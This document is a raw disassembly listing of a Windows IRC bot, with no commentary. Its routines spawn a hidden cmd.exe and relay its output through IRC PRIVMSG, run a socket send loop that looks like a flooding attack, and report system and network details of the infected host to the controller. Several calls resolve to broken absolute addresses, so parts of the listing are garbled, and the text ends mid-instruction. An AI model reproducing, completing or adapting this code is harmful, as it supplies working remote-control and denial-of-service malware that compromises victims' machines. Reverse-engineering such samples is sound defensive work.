CODE XREF: sub_40AF86+5Fj cmp eax, ebx jz short loc_40B054 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_40B057 ; --------------------------------------------------------------------------- loc_40B054: ; CODE XREF: sub_40AF86+C0j mov [ebp+var_4], esi loc_40B057: ; CODE XREF: sub_40AF86+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_417330 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_40B077 mov [ebp+var_3C], eax loc_40B077: ; CODE XREF: sub_40AF86+ECj cmp [ebp+var_38], edi jge short loc_40B07F mov [ebp+var_38], edi loc_40B07F: ; CODE XREF: sub_40AF86+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_40B0AC loc_40B086: ; CODE XREF: sub_40AF86+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_43ACBC inc esi cmp esi, [ebp+var_40] jl short loc_40B086 loc_40B0AC: ; CODE XREF: sub_40AF86+FEj push [ebp+arg_0] call dword_43AE50 lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42DA9C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B0F5 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40D679 add esp, 14h loc_40B0F5: ; CODE XREF: sub_40AF86+14Dj lea eax, [ebp+var_344] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 2610356h sub_40AF86 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B112 proc near ; DATA XREF: sub_40EE72+2FA9o var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi nop call near ptr 2610765h push eax call sub_417302 pop ecx push 11h push 2 push 2 call dword_43AE18 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_43ADD8 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40B1F7 lea eax, [ebp+var_B0] push eax call dword_43AE1C cmp eax, edi jnz short loc_40B1F0 lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42DB4C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B1D3 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40D679 add esp, 14h loc_40B1D3: ; CODE XREF: sub_40B112+9Fj lea eax, [ebp+var_334] push eax call sub_40BF6D push [ebp+var_20] call sub_417078 pop ecx pop ecx push esi nop call near ptr 2610356h loc_40B1F0: ; CODE XREF: sub_40B112+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_40B1FA ; --------------------------------------------------------------------------- loc_40B1F7: ; CODE XREF: sub_40B112+6Ej lea eax, [ebp+arg_0] loc_40B1FA: ; CODE XREF: sub_40B112+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_40B215 call sub_41730C cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_40B218 ; --------------------------------------------------------------------------- loc_40B215: ; CODE XREF: sub_40B112+F0j push [ebp+var_24] loc_40B218: ; CODE XREF: sub_40B112+101j call dword_43AD98 cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_40B22A mov [ebp+var_24], esi loc_40B22A: ; CODE XREF: sub_40B112+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_40B237 mov [ebp+var_24], eax loc_40B237: ; CODE XREF: sub_40B112+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_40B24B mov [ebp+var_28], esi loc_40B24B: ; CODE XREF: sub_40B112+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_40B26C loc_40B252: ; CODE XREF: sub_40B112+158j call sub_41730C cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_40B252 loc_40B26C: ; CODE XREF: sub_40B112+13Ej ; sub_40B112+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_40B2CB push 0Bh pop esi loc_40B279: ; CODE XREF: sub_40B112+197j lea eax, [ebp+var_10] push 10h push eax push edi call sub_41730C push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_43ADFC push [ebp+var_28] call near ptr 2610F93h nop dec esi jnz short loc_40B279 cmp [ebp+var_24], edi jnz short loc_40B26C call sub_41730C cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_43AD98 mov [ebp+var_E], ax jmp short loc_40B26C ; --------------------------------------------------------------------------- loc_40B2CB: ; CODE XREF: sub_40B112+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42DB10 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B30B push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40D679 add esp, 14h loc_40B30B: ; CODE XREF: sub_40B112+1D7j lea eax, [ebp+var_334] push eax call sub_40BF6D push [ebp+var_20] call sub_417078 pop ecx pop ecx push edi nop call near ptr 2610356h sub_40B112 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40B328 proc near ; CODE XREF: sub_40B358+2Ap ; sub_40B390+7Ep ... mov eax, dword_43B0E4 push esi mov esi, dword_424078 cmp eax, 0FFFFFFFFh jz short loc_40B33C push eax call esi loc_40B33C: ; CODE XREF: sub_40B328+Fj mov eax, dword_43B0EC cmp eax, 0FFFFFFFFh jz short loc_40B349 push eax call esi loc_40B349: ; CODE XREF: sub_40B328+1Cj mov eax, dword_43B0E0 cmp eax, 0FFFFFFFFh jz short loc_40B356 push eax call esi loc_40B356: ; CODE XREF: sub_40B328+29j pop esi retn sub_40B328 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B358 proc near ; CODE XREF: sub_40C351+14Ap ; sub_40EE72+4881p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_417AB0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_43B0E8 nop call near ptr 2640000h test eax, eax jnz short loc_40B38B call sub_40B328 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B38B: ; CODE XREF: sub_40B358+28j push 1 pop eax leave retn sub_40B358 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B390 proc near ; CODE XREF: sub_40B417+D3p ; sub_40B417+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_436EDC push [ebp+arg_4] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40B3D3 push 7D0h nop call near ptr 2610F93h push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_4172B0 add esp, 10h jmp short loc_40B3EA ; --------------------------------------------------------------------------- loc_40B3D3: ; CODE XREF: sub_40B390+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_4172B0 add esp, 0Ch loc_40B3EA: ; CODE XREF: sub_40B390+41j lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43ADE8 test eax, eax jg short loc_40B413 call sub_40B328 loc_40B413: ; CODE XREF: sub_40B390+7Cj xor eax, eax leave retn sub_40B390 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B417 proc near ; DATA XREF: sub_40B56C+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_43B0F0 loc_40B42F: ; CODE XREF: sub_40B417+79j ; sub_40B417+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_43B0E4 call near ptr 2780459h nop test eax, eax jz loc_40B4FD cmp [ebp+var_4], edi jnz short loc_40B492 lea eax, [ebp+var_8] push eax push dword_43B0E0 nop call near ptr 2780000h test eax, eax jz short loc_40B488 cmp [ebp+var_8], 103h jnz loc_40B521 loc_40B488: ; CODE XREF: sub_40B417+62j push 0Ah call near ptr 2610F93h nop jmp short loc_40B42F ; --------------------------------------------------------------------------- loc_40B492: ; CODE XREF: sub_40B417+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_40B4A9 loc_40B499: ; CODE XREF: sub_40B417+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_40B4F7 inc eax cmp eax, [ebp+var_4] jb short loc_40B499 loc_40B4A9: ; CODE XREF: sub_40B417+80j mov [ebp+var_4], esi loc_40B4AC: ; CODE XREF: sub_40B417+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_43B0E4 nop call near ptr 263108Bh test eax, eax jz short loc_40B549 lea eax, [ebp+var_20C] push eax push ebx push dword_43B124 call sub_40B390 add esp, 0Ch jmp loc_40B42F ; --------------------------------------------------------------------------- loc_40B4F7: ; CODE XREF: sub_40B417+8Aj inc eax mov [ebp+var_4], eax jmp short loc_40B4AC ; --------------------------------------------------------------------------- loc_40B4FD: ; CODE XREF: sub_40B417+45j push offset dword_42DC0C push ebx push dword_43B124 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push 1 nop call near ptr 2610356h loc_40B521: ; CODE XREF: sub_40B417+6Bj call sub_40B328 push offset dword_42DBD4 push ebx push dword_43B124 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push edi nop call near ptr 2610356h loc_40B549: ; CODE XREF: sub_40B417+C3j push offset dword_42DB94 push ebx push dword_43B124 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push edi call near ptr 2610356h nop sub_40B417 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B56C proc near ; CODE XREF: sub_40C351+99p ; sub_40EE72+5774p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_40B328 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_43AE54 test eax, eax jz loc_40B666 push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_424140 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_40B666 lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_40B666 mov edi, dword_42413C push 3 push esi push esi push offset dword_43B0E8 call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 27806D5h test eax, eax jz short loc_40B666 push 10h lea eax, [ebp+var_2C] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_417330 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_436EDC push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 27505A0h test eax, eax jnz short loc_40B66E loc_40B666: ; CODE XREF: sub_40B56C+2Fj ; sub_40B56C+5Cj ... or eax, 0FFFFFFFFh jmp loc_40B71C ; --------------------------------------------------------------------------- loc_40B66E: ; CODE XREF: sub_40B56C+F8j push [ebp+var_4] mov edi, dword_424078 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_43B0E4, eax mov eax, [ebp+var_8] mov dword_43B0EC, eax mov eax, [ebp+var_2C] mov dword_43B0E0, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_43B124, eax jz short loc_40B6A8 push [ebp+arg_4] jmp short loc_40B6A9 ; --------------------------------------------------------------------------- loc_40B6A8: ; CODE XREF: sub_40B56C+135j push ebx loc_40B6A9: ; CODE XREF: sub_40B56C+13Aj push offset dword_43B0F0 call sub_4172B0 pop ecx pop ecx push esi push 7 push offset dword_42DC90 call sub_416D5C mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_4407F8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_40B417 push esi push esi nop call near ptr 2680C08h cmp eax, esi mov dword_440804[edi], eax jnz short loc_40B71A nop call near ptr 2650B3Dh push eax lea eax, [ebp+var_378] push offset dword_42DC4C push eax call sub_4172B0 lea eax, [ebp+var_378] push eax call sub_40BF6D add esp, 10h loc_40B71A: ; CODE XREF: sub_40B56C+185j xor eax, eax loc_40B71C: ; CODE XREF: sub_40B56C+FDj pop edi pop esi pop ebx leave retn sub_40B56C endp ; =============== S U B R O U T I N E ======================================= sub_40B721 proc near ; CODE XREF: sub_407110+74p ; sub_40B8D8+217p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call near ptr 2610765h nop xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_43B12C push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41782A add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_40B721 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B78A proc near ; CODE XREF: sub_409037+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call near ptr 2791559h nop test eax, eax jz short loc_40B81D cmp [ebp+var_90], 4 jnz short loc_40B7F3 cmp [ebp+var_8C], esi jnz short loc_40B7DB cmp [ebp+var_84], 1 jnz short loc_40B7CE push 1 pop esi loc_40B7CE: ; CODE XREF: sub_40B78A+3Fj cmp [ebp+var_84], 2 jnz short loc_40B81D push 1 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B7DB: ; CODE XREF: sub_40B78A+36j cmp [ebp+var_8C], 0Ah jnz short loc_40B7E8 loc_40B7E4: ; CODE XREF: sub_40B78A+78j push 2 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B7E8: ; CODE XREF: sub_40B78A+58j cmp [ebp+var_8C], 5Ah jnz short loc_40B81D jmp short loc_40B80D ; --------------------------------------------------------------------------- loc_40B7F3: ; CODE XREF: sub_40B78A+2Ej cmp [ebp+var_90], 5 jnz short loc_40B81D cmp [ebp+var_8C], esi jz short loc_40B7E4 cmp [ebp+var_8C], 1 jnz short loc_40B811 loc_40B80D: ; CODE XREF: sub_40B78A+67j push 3 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B811: ; CODE XREF: sub_40B78A+81j cmp [ebp+var_8C], 2 jnz short loc_40B81D push 7 loc_40B81C: ; CODE XREF: sub_40B78A+4Fj ; sub_40B78A+5Cj ... pop esi loc_40B81D: ; CODE XREF: sub_40B78A+25j ; sub_40B78A+4Bj ... mov eax, esi pop esi leave retn sub_40B78A endp ; =============== S U B R O U T I N E ======================================= sub_40B822 proc near ; CODE XREF: sub_40B8D8+290p push ebx push esi push edi mov esi, 0F4240h loc_40B82A: ; CODE XREF: sub_40B822+2Fj ; sub_40B822+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 2610F93h rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_419250 mov edi, edx mov ebx, eax test edi, edi ja short loc_40B82A jb short loc_40B859 cmp ebx, esi ja short loc_40B82A loc_40B859: ; CODE XREF: sub_40B822+31j push 0 push 64h push edi push ebx call sub_4191D0 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_40B8CC jb short loc_40B878 cmp esi, 50h jnb short loc_40B87D loc_40B878: ; CODE XREF: sub_40B822+4Fj push 4Bh xor edx, edx pop eax loc_40B87D: ; CODE XREF: sub_40B822+54j test ecx, ecx ja short loc_40B8CC jb short loc_40B888 cmp esi, 47h jnb short loc_40B88D loc_40B888: ; CODE XREF: sub_40B822+5Fj push 42h xor edx, edx pop eax loc_40B88D: ; CODE XREF: sub_40B822+64j test ecx, ecx ja short loc_40B8CC jb short loc_40B898 cmp esi, 37h jnb short loc_40B89D loc_40B898: ; CODE XREF: sub_40B822+6Fj push 32h xor edx, edx pop eax loc_40B89D: ; CODE XREF: sub_40B822+74j test ecx, ecx ja short loc_40B8CC jb short loc_40B8A8 cmp esi, 26h jnb short loc_40B8AD loc_40B8A8: ; CODE XREF: sub_40B822+7Fj push 21h xor edx, edx pop eax loc_40B8AD: ; CODE XREF: sub_40B822+84j test ecx, ecx ja short loc_40B8CC jb short loc_40B8B8 cmp esi, 1Eh jnb short loc_40B8BD loc_40B8B8: ; CODE XREF: sub_40B822+8Fj push 19h xor edx, edx pop eax loc_40B8BD: ; CODE XREF: sub_40B822+94j test ecx, ecx ja short loc_40B8CC jb short loc_40B8C8 cmp esi, 0Ah jnb short loc_40B8CC loc_40B8C8: ; CODE XREF: sub_40B822+9Fj xor eax, eax xor edx, edx loc_40B8CC: ; CODE XREF: sub_40B822+4Dj ; sub_40B822+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_40B822 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8D8 proc near ; CODE XREF: sub_40EE72+59EEp var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_436EDC mov [ebp+var_CC], 94h call near ptr 2791559h nop xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_40B95F cmp [ebp+var_C4], ebx jnz short loc_40B93B cmp [ebp+var_BC], 1 jnz short loc_40B925 mov [ebp+var_4], offset a95 ; "95" loc_40B925: ; CODE XREF: sub_40B8D8+44j cmp [ebp+var_BC], 2 jnz loc_40B9DA mov [ebp+var_4], offset aNt ; "NT" jmp short loc_40B9AB ; --------------------------------------------------------------------------- loc_40B93B: ; CODE XREF: sub_40B8D8+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_40B94D mov [ebp+var_4], offset a98 ; "98" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B94D: ; CODE XREF: sub_40B8D8+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_40B99B mov [ebp+var_4], offset aMe ; "ME" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B95F: ; CODE XREF: sub_40B8D8+33j cmp [ebp+var_C8], 5 jnz short loc_40B99B cmp [ebp+var_C4], ebx jnz short loc_40B979 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B979: ; CODE XREF: sub_40B8D8+96j cmp [ebp+var_C4], 1 jnz short loc_40B98B mov [ebp+var_4], offset aXp ; "XP" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B98B: ; CODE XREF: sub_40B8D8+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_40B9A2 loc_40B99B: ; CODE XREF: sub_40B8D8+7Cj ; sub_40B8D8+8Ej mov [ebp+var_4], offset dword_42DDDC loc_40B9A2: ; CODE XREF: sub_40B8D8+73j ; sub_40B8D8+85j ... cmp [ebp+var_BC], 2 jnz short loc_40B9DA loc_40B9AB: ; CODE XREF: sub_40B8D8+61j cmp [ebp+var_B8], bl jz short loc_40B9DA lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_42DDD4 push eax call sub_4172B0 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_40B9DA: ; CODE XREF: sub_40B8D8+54j ; sub_40B8D8+D1j ... mov ax, word_42DDD0 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_43AC84 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_40BA13 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_40BA13: ; CODE XREF: sub_40B8D8+12Cj push [ebp+arg_4] call sub_40AEE0 pop ecx push eax call dword_43ADD8 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_43AD50 cmp eax, ebx jz short loc_40BA3C push dword ptr [eax] jmp short loc_40BA41 ; --------------------------------------------------------------------------- loc_40BA3C: ; CODE XREF: sub_40B8D8+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_40BA41: ; CODE XREF: sub_40B8D8+162j lea eax, [ebp+var_3E4] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2620000h lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call near ptr 2680000h nop lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 2670000h push 20h lea eax, [ebp+var_38] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 27A0000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_4192B8 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_40D12A push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_40B721 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_40D01A pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_40D01A pop ecx pop ecx push eax call sub_40B822 push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_41782A mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_40B8D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB8C proc near ; CODE XREF: sub_40EE72+4555p ; sub_40EE72+5A1Fp var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_417330 add esp, 0Ch cmp dword_43AE80, 0 jnz short loc_40BBF8 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_43AC68 test eax, eax jnz short loc_40BBE1 lea eax, [ebp+var_8C] push offset dword_42DE50 push eax call sub_4172B0 pop ecx pop ecx loc_40BBE1: ; CODE XREF: sub_40BB8C+40j test [ebp+var_C], 1 jz short loc_40BBEE push offset dword_42DE48 jmp short loc_40BBF3 ; --------------------------------------------------------------------------- loc_40BBEE: ; CODE XREF: sub_40BB8C+59j push offset off_42DE44 loc_40BBF3: ; CODE XREF: sub_40BB8C+60j lea eax, [ebp+var_8] jmp short loc_40BC10 ; --------------------------------------------------------------------------- loc_40BBF8: ; CODE XREF: sub_40BB8C+28j mov esi, offset off_42DE40 lea eax, [ebp+var_8] push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_40BC10: ; CODE XREF: sub_40BB8C+6Aj push eax call sub_4172B0 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_41782A mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_40BB8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC4B proc near ; DATA XREF: sub_40EE72+4974o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_42DF80 call sub_417330 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_417330 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_417330 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_417330 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_417330 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_417AB0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_43ACA0 test eax, eax jz loc_40BDE5 cmp [ebp+var_34], ebx jbe short loc_40BD22 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call 